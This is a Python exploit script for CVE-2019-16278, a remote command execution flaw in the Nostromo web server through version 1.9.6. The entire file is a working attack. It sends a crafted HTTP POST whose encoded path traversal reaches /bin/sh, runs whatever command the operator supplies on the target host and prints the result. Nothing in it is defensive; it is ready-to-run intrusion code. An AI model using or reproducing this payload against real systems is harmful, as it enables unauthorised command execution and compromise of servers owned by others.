#!/usr/bin/env python3
# Nostromo =< 1.9.6 RCE - CVE-2019-16278
# Python3 Exploit Code ~ Darkerego, 2019
import socket
import argparse

parser = argparse.ArgumentParser(description='RCE in Nostromo web server through 1.9.6 due to path traversal.')
parser.add_argument('host', help='domain/IP of the Nostromo web server')
parser.add_argument('port', help='port number', type=int)
parser.add_argument('cmd', help='command to execute, default is id', default='id', nargs='?')
args = parser.parse_args()

host = args.host
port = args.port
cmd = args.cmd


def exploit(host, port, cmd):
    """
    Exploit function rewritten for Python3
    :param host: vulnerable host
    :param port: port httpd is running
    :param cmd: command to run
    :return: --
    """
    try:
        global s
        payload = """POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.0\r\nContent-Length: 1\r\n\r\necho\necho\n{} 2>&1""".format(cmd)
        s = socket.socket()
        s.settimeout(1)
        s.connect((host, port))
        s.sendall(payload.encode())
        r = ''
        try:
            while True:
                t = s.recv(1024)
                if len(t) == 0:
                    break
                t = t.decode('utf-8')
                r += t

        except Exception as err:
            print(err)
            pass

        r = r[r.index('\r\n\r\n') + 4:]
        print(r)

    except socket.error as msg:
        print("Socket connection error: " + str(msg))


if __name__ == "__main__":
    exploit(host, port, cmd)




